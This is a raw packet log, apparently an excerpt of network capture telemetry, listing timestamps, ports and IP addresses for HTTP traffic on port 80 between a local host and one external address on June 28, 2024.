Jun 28, 2024 13:36:25.176212072 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176212072 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176240921 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176255941 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176270008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176282883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176292896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176296949 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176311016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176326036 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176328897 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176330090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176330090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176341057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176366091 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176434994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176533937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176548004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176562071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176575899 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176590919 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176604033 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176615000 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176621914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176621914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176645041 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176659107 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176672935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176688910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176697969 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176703930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176717997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176719904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176732063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176737070 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176745892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176760912 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176760912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176778078 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176808119 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176808119 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176837921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176851988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176865101 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176879883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176882029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176894903 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176908970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176920891 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176920891 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.176923990 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.176963091 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177016020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177030087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177043915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177057028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177068949 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177068949 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177068949 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177071095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177087069 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177100897 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177100897 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177108049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177123070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177133083 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177133083 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177145004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177159071 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177165031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177165031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177182913 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177321911 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177331924 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177345991 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177361965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177392960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177438974 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177453041 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177457094 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177468061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177481890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177496910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177505970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177505970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177511930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177529097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177552938 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177552938 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177620888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177634954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177649021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177663088 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177675009 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177675009 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177683115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177694082 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177696943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177711010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177711010 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177726030 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177740097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177748919 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177748919 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177755117 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177762985 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177768946 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177783966 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177797079 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177797079 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177836895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177849054 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177850962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.177859068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177892923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.177892923 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178019047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178034067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178046942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178061008 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178073883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178076029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178076029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178088903 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178102016 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178102016 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178102970 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178124905 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178131104 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178131104 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178138971 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178160906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178169966 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178174973 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178199053 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178214073 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178224087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178224087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178224087 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178227901 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178244114 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178253889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178253889 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178258896 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178273916 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178288937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178296089 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178296089 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178303003 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178323984 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178324938 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178332090 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178366899 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178464890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178479910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178493977 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178503036 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178508043 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178515911 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178515911 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178523064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178536892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178544998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178544998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178560019 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178566933 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178574085 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178581953 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178587914 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178596020 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178616047 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178647995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178656101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178656101 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178663015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178677082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178694010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178704023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178704023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178716898 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178725004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178731918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178747892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178755045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178755045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178800106 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178904057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.178940058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178955078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178970098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178983927 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.178997040 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179001093 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179016113 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179029942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179034948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179034948 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179044962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179056883 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179068089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179083109 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179085970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179085970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179096937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179111958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179133892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179141998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179141998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179150105 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179163933 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179167032 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179193020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179193974 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179213047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179227114 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179240942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179244995 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179255962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179270029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179286003 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179287910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179287910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179300070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179315090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179322004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179322004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179328918 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179342985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179352045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179352045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179358006 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179383993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179383993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179517031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179548025 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179562092 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179575920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179590940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179601908 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179606915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179619074 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179621935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179635048 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179650068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179656029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179656029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179662943 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179673910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179677010 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179691076 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179702044 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179702044 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179706097 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179722071 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179734945 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179796934 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179909945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179924965 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179938078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179953098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179968119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179971933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179971933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.179981947 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.179996014 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180010080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180022001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180022001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180030107 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180032015 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180044889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180059910 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180061102 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180074930 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180097103 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180098057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180098057 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180110931 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180124998 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180124998 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180139065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180145979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180145979 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180152893 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180166960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180174112 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180190086 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180197001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180197001 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180203915 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180217028 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180231094 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180231094 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180247068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180247068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180247068 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180309057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180324078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180325031 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180336952 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180351019 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180352926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180366993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180381060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180389881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180389881 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180394888 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180408001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180423021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180434942 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180454969 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180541992 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180556059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180569887 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180577993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180577993 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180592060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180604935 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180619001 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180627108 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180627108 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180633068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180658102 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180658102 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180722952 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180725098 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180738926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180752993 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180767059 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180782080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.180787086 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180788040 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.180808067 CEST	49721	80	192.168.2.5	77.91.77.81
